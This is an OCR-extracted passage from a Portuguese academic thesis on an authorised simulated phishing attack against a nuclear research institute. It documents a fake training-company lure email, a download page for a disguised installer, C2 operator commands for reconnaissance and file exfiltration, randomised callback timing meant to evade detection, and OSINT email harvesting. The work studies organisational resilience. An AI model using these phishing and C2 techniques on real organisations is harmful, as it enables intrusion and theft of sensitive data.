dos e-mails.
3.1.4 Exploracgéo

Essa etapa utilizou ferramentas comuns para scan de rede baseados em
enderecos IP, recursos como o Whois para identificar a origem dos enderecos que
acessaram o site Educanuclear, bem como o sistema operacional Kali Linux e a
ferramenta Shodan® para identificar portas e servicos abertos nos enderecos IPs
registrados nos logs de acesso do servidor web. Cabe ressaltar que essa € uma etapa
de exploragcédo externa, ou seja, quando o atacante ainda ndo conseguiu realizar a
intrusdo em sistemas e rede do alvo. Apés a fase de entrega ocorrerd outra

exploracdo, nesse caso, a rede interna.
3.1.5 Instalacao

Nessa etapa, 0 objetivo foi simular as agdes que um atacante deve realizar
para induzir a vitima a executar o malware em seu sistema operacional. Como parte
do ataque simulado, foram conduzidos testes de dentro da instituicdo alvo para avaliar
a possibilidade de download de arquivos externos para a rede interna.

Devido as rigorosas politicas de seguranca aplicadas a rede interna da
instituicdo alvo, os controles tecnoldgicos foram efetivamente implementados para
garantir a seguranca do ambiente de trabalho. Como resultado, a transferéncia do
arquivo executavel "agente.exe", gue se comunica com o servidor C2, foi bloqueada
como medida de precaucao devido aos potenciais riscos associados a esse tipo de
arquivo.

Os testes foram conduzidos de maneira controlada, utilizando a estacéo de
trabalho de um funcionério da instituicdo, que executava o sistema operacional Linux
Ubuntu 22.04 LTS, e um computador pessoal, que executa 0 sistema operacional
Windows 10 64 bits. Essas estacdes de trabalho foram utilizadas para simular a

9 Shodan é uma ferramenta de pesquisa e monitoramento de seguranga que permite aos usuarios
encontrar  dispositivos conectados & Internet e identificar informacBes sobre eles.
(<https://www.shodan.io/>)
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instalacdo do malware e verificar o seu comportamento na etapa de Comando e
Controle.

Atitulo de ilustracéo, foi enviado um outro e-mail com um texto dando as boas-
vindas aos participantes do treinamento, nesse caso, dois servidores da instituicdo
alvo simularam o recebimento do e-mail de contato em que a empresa de treinamento
Educanuclear entra em contato com os participantes, informando a data de inicio do
treinamento. Esse e-mail possuia um link e um anexo contendo a descricdo dos
procedimentos, especificado para cada tipo de software, as orientacbes de como
baixar e instalar no sistema operacional para participar do treinamento.

Esse segundo envio refere-se a entrega do malware simulado para instalacao.
Caso esse ataque fosse realizado por um atacante real e 0s contornos protetivos da
organizacdo nao fossem efetivos para conté-lo, € provavel que o atacante obtivesse
éxito nessa etapa e conseguisse implantar uma persisténcia no ambiente tecnoldgico.
Esse tipo de ataque permite que cibercriminosos permanecam na infraestrutura alvo

por um longo periodo sem serem detectados.

Instrugdes para realizacdo do treinamento PNC-2023

me junzo @ 3) @ O @ e
Para gov.br .gov.br @gmail.com

Prezado(a) Servidor(a),

A Equipe EducaMuclear gostaria de dar as boas-vindas por ter se matriculado no nosso curso de Seguranca
Cibernética para as Instalagdes MNucleares.

Lembrando que o treinamento comeca no proximo dia 05/07/2023, e vocé precisara instalar o software de
emulagdo do Laboratério de Seguranga Cibernética da EducaMuclear antes do inicic do curso.

O software esta disponfvel para sistemas operacionais Windows e Linux na area de download do site
EducaMuclear.

Mo deixe de baixar o instalador, pois serd necessario para realizacdo do treinamento.

Qualquer divida estaremos a disposicdo pelo nosso suporte (treinamento@educanuclear.com)

Até breve!!!!

Renata Marques - Gerente de Carreiras
Departamento de Treinamentos e Capacitacdes

Anexo verificado(s). E seguro abri-lo(s).
In_s_trLlcées para instalaga..
Figura 18: E-mail contendo instru¢des para instalacao de software
Fonte: O autor (2023)
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A Figura 19 representa a pagina de acesso que 0 usuario visualiza apos clicar
no link fornecido no corpo do e-mail que dava as boas-vindas para inicio do
treinamento. Consta também um arquivo “.pdf’ anexado ao e-mail e disponivel pelo
link incorporado ao conteudo, contendo as instru¢cdes de como instalar o programa
gue seria pré-requisito para realizar o treinamento, porém, na verdade, trata-se de um
malware (simulado). Isso demonstra o quanto uma pessoa pode estar vulneravel caso

venha a instalar programas de fontes desconhecidas em seu dispositivo.

ndex of feducanuclear X +

&« C A Néio sequro | 34.95.240.81/educanuclear/

Index of /educanuclear

Name Last modified Size Description
a Parent Directory -
Install LabSegNuc Linux x64.bin 2023-06-30 13:08 2.3M
Install LabSegNuc Windows x64.exe 2023-06-30 13:08 3.6M

Instrugodes para instalacao do software EducaNuclear.pdf 2023-06-30 13:10 120K

Apache/2.4.56 (Debian) Server at 34.95.240.81 Port 80

Figura 19: Link indicado no e-mail para download do software (malware)
Fonte: O autor (2023)

3.1.6 Comando e Controle

Cabe ressaltar que o servidor utilizado nesta pesquisa estava hospedado na
nuvem do Google Cloud Platform (GCP), no endereco IP publico fixo (34.95.240.81),
executando um sistema operacional Linux Debian 11, em um ambiente seguro e
controlado.

O acesso a esse servidor € restrito apenas a um computador proprio, o qual
possui as chaves criptografadas para garantir a seguranca dos dados envolvidos.
Essas medidas foram adotadas para prevenir qualquer tipo de vazamento de dados

relacionados a esta pesquisa (LGDP, 2018).
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Experimentos realizados entre o Servidor C2 e um sistema Windows 10

executando o agente do C2

1) Primeiramente, a execugdo do Servidor C2 (DESEC, 2023), denominado como
“ncr2-server”, é realizada ao invocar o arquivo de nome “nrc2” por meio do seguinte
comando: ‘$ sudo ./nrc2’.Esse comando é executado com privilégios de
superusuario (sudo) para garantir as permissées adequadas durante a sua execucao,
conforme Figura 20. Dessa forma, o C2 é ativado e fica em execuc¢do, aguardando
novas conexdes. O servidor C2 permanece em um estado pronto para receber e
processar novas solicitacdes de conexao, estabelecendo assim uma comunicacao

eficiente e continua com os dispositivos e agentes envolvidos.

& ssh.cloud.google.com/v2/ssh/projects/nuclear-commandcontrol/zones/southamerica-east1-b/instances/nrc2-server?authuser=08thl=pt_BR&{projectNumber=508069785989&use AdminProxy=trueBuseGisExperiment=truetpageViewld=910E9984... &

ﬂi SSH no navegador 4 FAZER UPLOAD DO ARQUIVO ¥ FAZERODOWNLOADDOARQUIVO [H EH £

educanuclear@nrc2-server:~/
nrc2 nrc2.go
educanuclear@nrc2-server:~/
2023/06/24 23:14:27 Entrei em
NrRC2> |

Figura 20: Entrada em execucéo do C2
Fonte: O autor (2023)

2) A seguir, é possivel observar pela Figura 21 que uma nova conexao foi estabelecida
no C2, sendo atribuido a ela um ID que representa a identificacdo Unica de cada
agente que se comunica com o servidor C2. Esse ID é utilizado para distinguir e
rastrear individualmente os agentes envolvidos na comunicagcéo com o C2.

E possivel ainda verificar o endereco IP publico e porta pelo qual cada agente
(vitima) estabelece a conexdo. Essa informacdo permite identificar o IP publico
associado ao dispositivo da vitima na rede externa, possibilitando rastrear o ponto de
origem da conexdo realizada pelo agente. Nesse caso, 0 endereco IP externo
atribuido a conexéo do alvo é 0 177.12.48.201 e as portas 10106 e 10107.
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educanuclear@nrc2-server:~/nrc2$ sudo ./nrc2
2023/06/24 22:10:35 Entrei em execucgdo.
NRC2> 2023/06/24 22:11:02 Nova conexdo: 177.12.48.201:10106

2023/06/24 22:11:02 Agente ID: 9le3eablb44fafe0daff8381blleb5ab
2023/06/24 22:11:07 Nova conexdo: 177.12.48.201:10107
2023/06/24 22:11:07 Agente ID: cleadf99c85£d1271de8ab7983%bd541

Figura 21: Conexdo de um agente com o C2
Fonte: O autor (2023)

3) ApoOs esse procedimento, o "atacante” executa 0 comando "show agentes"
para listar os computadores alvos que se conectaram ao C2. Em seguida, seleciona
um alvo especifico utilizando o comando "select ID-do-alvo" para estabelecer
a conexao com o alvo selecionado, conforme ilustrado na Figura 22.

Ao estabelecer a conexdo com o computador alvo, o “atacante” executa trés
comandos consecutivos: “whoami”, “ipconfig” e “1s”. O objetivo desses
comandos € obter, respectivamente, o nome do computador, o endereco IP local e

listar o contetdo do diret6rio do computador alvo.

NRC2> show agentes
Agente ID: 9le3eablbd4fafe0daff8381bllebbab->Vinicius@C:\Users\vinic\Downloads
Agente ID: cleadf99c85fd1271deBab7983%bd541->Vinicius@C:\Users\vinic\Downloads

NRC2> select clea4f99c85fd1271de8ab79839%bd541
cleadf99c85fd1271de8ab79839bd541@NRC2# whoami
cleadf99c85£d1271de8ab798390d541@NRC2# ipconfig
cleadf99c85fd1271de8ab79839bd541@NRC2# 1s

Figura 22: Visualizacdo de agentes conectados ao C2 e realizagdo de comandos
Fonte: O autor (2023)

De forma intencional, o C2 Server em questao foi implementado para fornecer
respostas em periodos aleatorios, variando entre 5 segundos e 30 segundos. Essa
abordagem tem por objetivo fazer com que as defesas de seguranca do alvo ndo o
classifiguem como um malware. Com isso, o servidor C2 adquire um aspecto furtivo e
€ capaz de contornar as medidas de seguranca instaladas no computador da vitima,

evitando, assim, ser detectado ou bloqueado.

4) A resposta do comando "whoami" (Figura 23) no computador alvo ira exibir o nome
do usuario atualmente logado na maquina. Esse comando fornece informacdes sobre
a identidade do usuario que esta executando o comando no sistema operacional,

permitindo identificar o contexto do usuario ativo no momento da execuc¢ao.
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cleadf99c85fd1271deBab79839bd541@NRC2# whoami

cleadf99c85£fd1271de8ab79839d541@NRC2# ipconfig

cleadf99c85£fd1271de8ab79839bd541@NRC2# 1s

cleadf99c85fd1271de8ab79839bd541@NRC2# 2023/06/24 22:11:53 Resposta do Host: Vinicius
2023/06/24 22:11:53 Resposta do Comando: whoami

vinicius\vinic

2023/06/24 22:11:59 Resposta do Host: Vinicius
2023/06/24 22:11:59 Resposta do Comando: ipconfig

Figura 23: Resposta do comando "whoami"
Fonte: O autor (2023)

5) A resposta do comando "ipconfig" (Figura 24) no computador alvo ira exibir
informacBes sobre a configuracdo de rede desse computador. Essas informacdes
geralmente incluem o endereco IP, mascara de sub-rede, gateway padrédo, enderecos
de DNS e outras informacdes relevantes sobre a interface de rede. O resultado pode
variar dependendo do sistema operacional do computador alvo. Nesse caso, 0
endereco IP interno atribuido ao computador da vitima € 0 192.168.0.120 e o endereco
de gateway é 192.168.0.1.

{E]E SSH no navegador 4 FAZER UPLOAD DO ARQUIVO ¥ FAZER O DOWNLOAD DO ARQUIVO

Sufixo DNS especfico de conexo
Adaptador de Rede sem Fio Wi-Fi:

Sufixo DNS especfico de conexo

Endereo IPv6 de link local : feB0::cbd7:£3f8:960e:1aa8%16
Endereo : 192.168.0.120

Mscara de Sub-rede - - . 2 255.255.255.0

Gateway Padro : 192.168.0.1

Adaptador Ethernet Conexo de Rede Bluetooth:

Estado da mdia : mdia desconectada
Sufixo DNS especfico de conexo 3

Figura 24: Resposta do comando "ipconfig"
Fonte: O autor (2023)

7) O comando "1s" (Figura 25) sera refletido no computador da vitima e retornara
uma listagem dos arquivos e diretérios presentes no sistema de arquivos do mesmo.
Ele exibirhA o nome dos arquivos e diretorios disponiveis no diretorio atual ou no
diretorio especificado, caso seja fornecido um caminho como argumento para o
comando. A listagem pode incluir informag¢des como permissdes de acesso, data de

modificacdo e tamanho dos arquivos.
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04/10/2022 A 202603 Boletos.pdf

03/11/2022 g 1427176 ChromeSetup.exe

14/02/2023 = 20468 FolhatPautada+—+T68.docx

15/09/2022 A 216712 gabarito preliminar - delegado — versao a (reaplicacao).zip
14/02/2023 g 713365 MO1+—+CRIMINOLOGIA.pdf

14/02/2023 3 857544 MO1+—+DIREITO+ADMINISTRATIVO+—+Responsabilidade+Civil.pdf
14/02/2023 = 811791 MO1+—+DIREITO+CONSTITUCIONAL+—+Controle+de+Constitucionalidade.pdf
14/02/2023 g 769478 M01+—+LEGISLAO+PENAL+-+AbusotdetAutoridade.pdf

14/02/2023 = 780740 MO1+—+PENAL+ESPECIAL+-+Crimes+Contratat+Vidat+-+121+a+128.pdf
14/02/2023 8 934107 MO01+-—+PENAL+GERAL.pdf

14/02/2023 g 1703720 MO1+—+PEA+PRTICA+—+EstruturatGeral+e+Prisot+Temporria.pdf
14/02/2023 g 1169638 MO1+—+PROCESSO+PENAL+—+Provas.pdf

06/06/2023 = 752978 MA+-+LEGISLAC+PENAL+-—+Estauto+do+Desarmamento — Copia.pdf
06/06/2023 3 676522 MA+-+LEGISLAO+PENAL+-+Lei+de+Organizao+Criminosa - Copia.pdf
06/06/2023 g 713222 M4+-+PROCESSO+PENAL+-+Inqurito+Policial - Copia.pdf
14/02/2023 g 951804 META+01.pdf

15/09/2022 8 636916 pc-ba-2022.pdf

18/01/2023 4312 196234 Portugus+—+META (1) .pdf

18/01/2023 = 196234 Portugus+—+META.pdf

Figura 25: Resposta do comando "
Fonte: O autor (2023)

S

3.1.7 Agbes no Objetivo

Essa etapa € a continuacao da etapa Comando e Controle e tem o objetivo de
demonstrar como ocorre a exfiltracdo de dados sensiveis de um sistema alvo e a
realizacdo de movimento lateral em uma rede de Tecnologia da Informacéo (TI) para

uma rede de Tecnologia Operacional (TO).

3.1.7.2 Etapa de exfiltracdo de dados a partir de uma maquina Windows 10

1) Na Figura 25, foram identificados diversos arquivos, dentre eles um arquivo de
nome “pc-ba-2022.pdf” para ser exfiltrado do computador alvo. Para realizar essa
acao, foi executado o comando “# get pc-ba-2022.pdf”, como pode ser
verificado na Figura 26. Esse comando indica que o arquivo especificado esta sendo
enviado do computador alvo e transferido para outro local ou sistema, nesse caso para

o servidor C2.

15/09/2022 23:26 636916 pc-ba-2022.pdf
18/01/2023 23:49 196234 Portugus+—+META (1) .pdf
18/01/2023 22:19 196234 Portugus+—+META.pdf

cleadf99c85fd1271de8ab79839bd541@NRC2# get pc-ba-2022.pdf
cleadf99c85fd1271de8ab79839bd541@NRC2# 2023/06/24 22:13:35 Resposta do Host: Vinicius
2023/06/24 22:13:35 Resposta do Comando: get pc-ba-2022.pdf

Arquivo enviado com sucesso!
2023/06/24 22:20:39 Nova conexao: 87.236.176.187:36339

2023/06/24 22:20:39 Rgente ID:

Figura 26: Comando para exfiltragdo de dados
Fonte: O autor (2023)
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2) ApoGs a exfiltracdo do arquivo do computador da vitima para o servidor C2, é
possivel verificar a presenca desse arquivo no servidor. Por meio de comandos
especificos no C2, nesse caso o “1s”, foi possivel listar os arquivos armazenados no
diretorio de destino no servidor e verificar que o arquivo “pc-ba-2022.pdf” encontra-se
armazenado no C2 (Figura 27). Essa verificagao permite confirmar se a exfiltragao foi
bem-sucedida e se o arquivo alvo foi transferido com sucesso para o servidor C2.

ﬂi SSH no navegador A FAZER UPLOAD DO ARQUIVO $ FAZERODOWNLOADDOARQUVO [H EH &

educanuclear@nrc2-server:~/
nrc2 nrc2.go pc-ba-2022.p
educanuclear@nrc2-server:~/

Figura 27: Verificacdo do arquivo exfilfrado para o C2
Fonte: O autor (2023)

3) E possivel entdo proceder com o download do arquivo do servidor C2 para a
maquina do “atacante”, conforme ilustrado na Figura 28. Esse procedimento possibilita
baixar do servidor C2 o arquivo “pc-ba-2022.pdf” para a maquina do “atacante”,
permitindo que seja armazenado localmente no sistema do “atacante” para analise,

manipulacdo ou outros fins determinados pelo “atacante”.

@ ssh.cloud.google.com/v2/ssh/projects/nuclear-commandcantrol/zones/southamerica-east1-b/instances/nrc2-server?authuser=0&hl=pt_BR&projectNumber=508069785989&useAdminProxy=truedius Experiment=truedp

ﬁ SSH no navegador 4 FAZER UPLOAD DO ARQUIVO ¥ FAZER O DOWNLOAD DO ARQUIVO

/home;

/home /educanuclear/nre¢

Fazer o download

Caminho absoluto do arquivo *
Caminho [ canuclear/nrc2/pc-ba-2022.pdf

Cancelar Fazer o download

Figura 28: Download do arquivo exfiltrado
Fonte: O autor (2023)
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4) Apoés o download bem-sucedido do arquivo do servidor C2 para o computador
do “atacante”, o arquivo esta agora disponivel localmente e pode ser analisado no
sistema do “atacante” (Figura 29: Arquivo exfiltrado para maquina do atacante). O
“atacante” pode realizar diversas analises, como verificar o conteado do arquivo,
examinar metadados, executar ferramentas de analise especificas ou realizar
investigacdes adicionais para obter informacdes relevantes contidas no arquivo. Essa
etapa de analise € importante para entender o contetdo do arquivo exfiltrado e pode
ajudar o “atacante” a alcancar seus objetivos especificos.

@ poba-2022.pdf x  + Vo=

C @ Arquive | Ci/Users/eduar/Downloads/pc-ba-2022.pdf

=  peba-2022.pdf 1716 — 100% + ()]

i) DIARIO OFICIAL EXECUTIVO 17

SALVADOR, QUINTA-FEIRA, 21 DE ABRIL DE 2022 - ANO (VI ¥ 23400

Iz O0AST6E [0aA 1071 |CARLDS ESPPOLTCA — |ESP POLTCA |07 122022 ° 12.209, de 20 de abiil de 2011, regulamentada pelo Decreto estadual r° 15805, de 30 de

BEYRODT PUBGESTAO  [PUBGESTAO a

PANANETO | GOVERNAM G4 |GOVERNAM G5

00902272021004539162 08380282 ESPPOLITICA |ESPPOLMCA |01 022022
CA PUBGESTAD  [PUB GESTAQ

GOVERNAM. CE | GOVERNAM. C8

A
C0B0ZZ72021004539162 | 08379983 | LEONARDD | ESPFOLTICA |ESPPOLITICA | 01022022

U ThC 0 i
MAGALHAES | GOVERNAM. CB | GOVERNAM. C8
00902272021004539162 | 17373133 |IVONEIDOS | ESPPOLITICA |ESPPOLITICA | 01022022
SANTOSSILVA |PUBGESTAO  |PUBGESTAQ

GOVERNAM. C7 | GOVERNAM. CB

00902272021004539162 | 09439940 | ADRIANO LUIS 01022022
RA

C0S02Z72021004539162 | 09443372

0B02Z72021004539162 | 09379954 T ESPPOLITICA  |ESPPOLITICA | 01022022
A PlBGESTA  |PUBGESTAQ
GOVERNAM. CE | GOVERNAM._CS

PRESIDIO
0G02272021004539162 | 09379960 | LEVIGOES DE | ESPPOLIICA | ESPPOLITICA [01022022
QUEROZ PUBGESTAD  |PUBGESTAD

GOVERNAM_CB | GOVERNAM._CY
009868320210004838218 09579937 | SERGIO ESPPOLTICA  [ESPPOLIICA [01022022

Figura 29: Arquivo exfiltrado para maquina do atacante
Fonte: O autor (2023)

3.1.7.2 Etapa de exfiltracdo de dados, movimentagédo lateral e verificagcdo de

vulnerabilidades a partir de uma estacéo Linux Ubuntu.

O agente do C2 (malware simulado) foi executado de forma controlada em uma
estacdo de trabalho, localizada no interior das instalacdes do instituto alvo, e que na
ocasiao encontrava-se rodando o sistema operacional Linux Ubuntu 22.04.

Apbs o estabelecimento da conexdo da estacao Linux alvo com o servidor C2,
foram executados comando iniciais para verificagdo de conexdo, histérico de
comandos executados e dados sensiveis que pudessem ser exfiltrados da estacéo
alvo.

1) Na Figura 30, é possivel verificar que foram estabelecidas duas conexfes

provenientes de mesmo endereco IP publico (ofuscado intencionalmente). Ao
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observar a saida emitida pelo comando “NRC2> show agentes”, fica evidente
que os sistemas operacionais sao diferentes, pois cada saida possui um ID diferente.
No entanto, o que diferencia de fato uma saida da outra saida com relacdo aos
sistemas operacionais sao as informacfes contidas apés o @. Uma apresenta o
caminho /instituto, caracteristico de sistema operacional Linux e a outra
apresenta o caminho C:\User\eduar\Documents\diversos, caracteristico de
sistemas operacionais Windows. Nesse contexto, temos entdo a presenga de dois
sistemas distintos conectados ao mesmo servidor C2, vindo da mesma origem

(instituto de pesquisa alvo de teste).

IS/ NUCI23r-COMMENACONTIO)/Z0Nes/ SOUTNAMEN G2-£asT |

pUBKaprOjec

& sshcloud.goagle.cam/v2/ssh/pra

EEE SSH no navegador # FAZER UPLOAD DO ARQUIVO ~ # FAZERODOWNLOADDO ARQUIVO  [HI B £t

iclear-commandcontrol/zanes/south: GisExperiment=true <Y
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Figura 30: Listando agentes conectados do instituto alvo
Fonte: O autor (2023)

2) Na Figura 31, ilustra a representacao da execucao dos comandos “route -n” e “nmap
localhost”. Esses comandos foram executados, respectivamente, para verificar a
tabela de roteamento da estacéo Linux e se o aplicativo nmap estava instalado, em
sendo assim, verificar se ha as portas de servicos abertas naquela estacdo de
trabalho. Em alguns casos isso indica que o computador funciona como um gateway
entre duas redes.

Nesse caso, ndo foram constatadas outras rotas a ndo ser a do gateway padrao
e 0 comando nmap estava presente na maquina, apontou apenas a porta 631/tcp
aberta que é uma porta comum usada para compartilhamento de impressora e nao

representa risco. Encontrando-se esta estacao de trabalho aparentemente segura.



77

EIE:F SSH no navegador # FAZERUPLOAD DO ARQUIVO ¥ FAZERODOWNLOADDOARQUIVO [H B £t

rtt min/avg/max/mdev = 310.764/311.550/311.991/0.557 ms

sta do Host:

0.0.0.0
0.0.0.0

XC2# nmap localhost

023/0 6:46 Resposta do Host: —Desktop-

03

Nmap done: 1 IP address (1 host up) scanned in 0.05 seconds

b74d8d543ad52e75e43ebd65c13de718E@NRC2# U

Figura 31: Execucdo do comando route e nmap
Fonte: O autor (2023)

3) Continuando com a exploracdo no host, foi executado o comando “cat” para
ler o contetido do arquivo .bash history do usuario atual, uma vez que a tentativa
de execucdo do comando “history” através do C2 nao retornou informacdes. Esse
procedimento tem como objetivo verificar os Ultimos comandos que foram executados
localmente na estacao de trabalho, conforme ilustrado na Figura 32.

O arquivo .bash history armazena o historico de comandos digitados no
terminal, o que pode fornecer informacdes importantes sobre atividades recentes e

ajudar na andlise da situacdo ou das acdes realizadas pelo usuério.

@ ssh.cloud.google.com/v2/ssh/projects/nuclear-commandcontrol/zones/southamerica-east1-bfinstances/nre2-serverZauthuser =0&hl=pt BR&projectNumber=508069785989&useAdminProxy=trueBuseGisExperime Q

EE:IE SSH no navegador # FAZERUPLOAD DO ARQUIVO ¥ FAZERODOWNLOADDO ARQUIVO I B3 X

Figura 32: Saida dos ultimos comandos digitados na estacao
Fonte: O autor (2023)
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Na Figura 32 constam historicos de comando que foram realizados da estacéo local
para um host remoto. Esses comandos sdo caracteristicos de testes e conexao

remota com um servidor, por exemplo.

4) Em seguida, conforme ilustrado na Figura 33, foi efetuado um mapeamento de
portas para o endereco IP (***_.105.212.***), exibido no histérico de comandos
recentes, utilizando o comando “nmap IP-do-alvo”.O Nmap (“Network Mapper”)
€ uma ferramenta de codigo aberto para exploracdo de rede e auditoria de seguranca.
Ela foi desenhada para escanear rapidamente redes amplas, embora também
funcione muito bem contra hosts individuais. A saida do Nmap € uma lista de alvos
escaneados, com informacdes adicionais de cada um dependendo das opcoes

utilizadas. (Guia de Referéncia do Nmap, 2023)

- (=} X
iment Q

8 r 2/sshy Zauthuser=08&hl=pt BR&projectNumber=50806978

ﬁ} SSH no navegador 4 FAZERUPLOAD DO ARQUIVO ¥ FAZERODOWNLOADDOARQUIVO [H E £

nmap -105.212.

at 2023-06-27 10:32 -03

n

8899/tcp filter

Nmap done: 1 IP address (1 host up) scanned in 25.43

Figura 33: Mapeamento de portas no simulador
Fonte: O autor (2023)

O host identificado no mapeamento de porta € um simulador localizado em uma
rede separada, designada como rede de Tecnologia Operacional (TO), que nao possui
conectividade com a internet. Essa rede é especificamente configurada para
treinamento e simulacéo, proporcionando um ambiente controlado e isolado.

No contexto atual, foi iniciado um processo de movimentacdo lateral,

envolvendo a exploracdo e progressdo de um ambiente de rede de Tecnologia da
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Informacao (TI) para a rede de Tecnologia Operacional (TO). A movimentacao lateral
€ uma etapa em uma intrusdo cibernética em que um invasor compromete um sistema
inicial e, em seguida, procura se mover lateralmente através da rede ou do ambiente
para explorar outros sistemas. Durante essa fase, o invasor tenta obter acesso e
controle a outros sistemas internos, a fim de ampliar seu alcance e comprometer mais
recursos (MITRE, 2023).

5) Com relacao ao simulador mapeado, trata-se de um servidor que executa o sistema
operacional HP-UX na versdo 11.11. Para realizar uma pesquisa por
vulnerabilidades baseadas em CVEs (Common Vulnerabilities and Exposures),
existem varias opcdes disponiveis. Um dos sites amplamente utilizados para essa
finalidade é o CVE Details <https://www.cvedetails.com/>, onde é possivel pesquisar

por vulnerabilidades conhecidas nessa base de dados.

Ao acessar o site CVE Details, inserindo o sistema operacional HP-UX versdo 11.11
na barra de pesquisa, foi obtida uma lista de vulnerabilidades conhecidas que afetam
esse sistema. A plataforma oferece informacbes detalhadas sobre cada
vulnerabilidade, incluindo a descricdo, o impacto potencial e as solu¢des ou correcdes
recomendadas (CVE DETAILS, 2023). Apds a pesquisa por vulnerabilidades em

diferentes sites relacionados a CVEs, foram encontradas as seguintes informagoes:

e CVE Details, foram encontrados 120 CVEs. Dentre esses, 19 foram
classificados com o score maximo (10.0), indicando um alto nivel de gravidade.

e CVE Mitre, foram encontradas 31 CVEs (Common Vulnerabilities and
Exposures).

e NVD (National Vulnerability Database) do NIST, foram encontradas 105

ocorréncias de CVE.
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Essas informacdes indicam a existéncia de varias vulnerabilidades conhecidas que
afetam o sistema operacional HP-UX versdo 11.11.

Como o sistema HP-UX nao recebe mais atualizacdes de seguranca, considera-se a
possibilidade de adotar medidas alternativas para mitigar os riscos de seguranca.

e Implementag&o de controles de seguranga adicionais: Adotar solugdes de
seguranca complementares, como firewalls, sistemas de deteccao de intrusdes
(IDS), sistemas de prevencéo de intrusdes (IPS) e antivirus atualizados.

e |solamento do sistema: Isolar o sistema HP-UX em uma rede separada ou
em uma zona restrita, limitando o acesso a partir de outras redes ou sistemas.

e Monitoramento constante: Implementar solugbes de monitoramento de
seguranca para detectar atividades suspeitas ou tentativas de intruséo. ISso
inclui a andlise de logs, monitoramento de trafego de rede e deteccdo de
comportamentos anémalos.

e Segmentacdo da rede: Dividir a rede em segmentos menores ou zonas
separadas, com base nas necessidades de comunicacdo e nos niveis de

confianca.

6) Por fim, a Figura 34 ilustra de forma simulada a exfiltracdo de dados sensiveis de
um computador com sistema operacional Linux, enviando a arquivo para o servidor
C2, dessa forma, caracterizando um vazamento de dados ou roubo de propriedade

intelectual/industrial, exemplificado pelo arquivo “teste-exfiltracao.pdf”.
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uekuseGisk ment=true - Google Chrome = o
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sta do Host:

agente.go
agente-linux.go

-Desktop-!

Figura 34: Exfiltragcdo de arquivo do agente Linux para o C2
Fonte: O autor (2023)

No primeiro momento foram considerados 0s aspectos de se construir uma
imagem de uma empresa ficticia chamada EducaNuclear, e por conseguinte, esse
protétipo deveria ser o mais proximo possivel da realidade que pudesse passar
despercebido, inclusive para os profissionais mais experientes da area de Tecnologia
da Informacgéo.

Prosseguindo com a concepc¢ao desse objeto empirico, foi possivel utilizar essa
metodologia para realizar todos os testes de simulacdo de um ataque cibernético
direcionado, utilizando como vetor inicial a engenharia social (phishing) direcionada
aos funcionarios de em um instituto de pesquisa do setor nuclear. E importante
mencionar que este modelo foi utilizado para testar a resisténcia cibernética dessa
infraestrutura critica contra os ataques de phishing.

Esses testes envolveram diversas agdes como: a coleta de informacdes em
fontes abertas, a aquisicdo de dominios reais, a hospedagem e desenvolvimentos de
Website, criacdo de caixas de correios personalizadas, o envio dos e-mails de
phishing, a criacdo de maquinas virtuais na nuvem do Google (GCP) e na Amazon
(AWS), a utilizac&o de técnicas de intrusdo usando o sistema operacional Kali Linux,
a analise de logs, a instalagéo de um servidor C2, a compilacdo dos agentes para se
comunicarem com o C2, a utilizacdo de técnicas de exploracédo de vulnerabilidades

X
@
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com ferramentas nmap, shodan, , com o propdsito de avaliar a capacidade de
resisténcia a esses ataques, principalmente em relacdo ao fator humano.

Dessa forma, o emprego de um servidor de Comando e Controle reforca a tese
de que por mais que uma organizacdo se mantenha em conformidade com as normas,
politicas e tecnologias, o fator humano sempre sera a primeira barreira necessaria

para evitar a propagacao de um ataque direcionado.
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4. RESULTADOS E DISCUSSOES

Nessa secdo, sdo apresentados os resultados na mesma sequéncia em que foi

aplicada a metodologia.

4.1 Resultados da etapa de Reconhecimento

Durante a fase de reconhecimento, foram realizadas diversas técnicas de
coleta de enderecos de e-mail da instituicao alvo. Inicialmente, foi utilizado o buscador
Google por meio de palavras-chave especificas relacionadas ao dominio da
organizacao (***** .gov.br). Essas buscas resultaram em 29 enderecos de e-mail.

Para ampliar a quantidade de enderegos de e-mail, foram utilizadas
ferramentas especializadas, como o theHarvester e o framework OSINT. O
theHarvester, disponivel no sistema operacional Kali Linux, retornou 5 enderecos de
e-mail relevantes para o contexto.

O framework OSINT foi utilizado em conjunto com as ferramentas Hunter.io e
Skymem.info. A ferramenta Hunter.io retornou um total de 125 enderegos de e-mail
associados a instituicdo alvo. Ja o Skymem.info forneceu uma lista mais abrangente,
contendo 159 enderecos de e-mail.

Com base na quantidade de enderecos de e-mail listados, conforme a Tabela
9, a decisao foi utilizar os enderegos fornecidos pelo Skymem.info, pois abrangiam
uma quantidade maior de funcionarios da organizacdo alvo. Dessa forma, seria

possivel alcancar mais pessoas pelo envio de e-mails phishing.

Tabela 9: E-mails encontrados em fontes abertas

Ferramentas/recursos utilizados Quantidade de E-mails
encontrados
theHarvester 5
Google Dorks 29
Hunter.io 125
Skymem.info 159

A Figura 35 ilustra um gréfico contendo a distribuicdo dos enderecos de e-mail

coletados ao longo das diferentes etapas do processo de reconhecimento, destacando
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a contribuicdo de cada ferramenta utilizada. Esses resultados forneceram insights
valiosos para entender a superficie de ataque e a exposicédo dos enderecos de e-mail
da instituicdo alvo. Cabe ressaltar que as agOes descritas foram conduzidas
exclusivamente para fins de testes e demonstracdes, de acordo com as politicas de

seguranca, privacidade e as autorizacdes necessarias.

Pesquisa de e-mails usando OSINT

160

140

159
125
120
100
60
40
29
20
]
|
0

Skymem.info Hunter.io Google Dorks theHarvester
Fontes de busca

Quantidade de enderegos encontrados
&

Figura 35: Comparativo de e-mails encontrado pelas buscas
Fonte: O autor (2023)

A coleta de e-mails pode ter um impacto significativo na seguranca e
privacidade da instituicdo-alvo. Ao obter uma lista de enderecos de e-mail,
cibercriminosos podem realizar ataques de phishing direcionados, tentando enganar
0s usuarios para que revelem informacfes confidenciais, como senhas e dados
bancérios ou a instalar malware em seus dispositivos.

E essencial que as organizacdes estejam cientes dessas praticas e adotem
medidas de seguranca adequadas, como a conscientizacao dos funcionarios, politicas

de privacidade solidas, controle de acesso
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Por outro lado, é fundamental que as pessoas, o0s profissionais de Tl e as
organizacbes em geral adotem as devidas precaucdes para evitar que listas de e-
mails caiam nas m&os de criminosos. E importante adotar praticas de seguranca
adequadas, conforme prescreve a ABNT NBR ISO/IEC 27701:2019:

e Treinamento de conscientizacdo em seguranca: Educar os funcionérios
sobre as melhores préticas de seguranca cibernética, incluindo a importancia
de proteger as listas de e-mails.

e Politicas de privacidade e consentimento: Garantir que sua organizacao
siga politicas de privacidade adequadas e obtenha o consentimento explicito
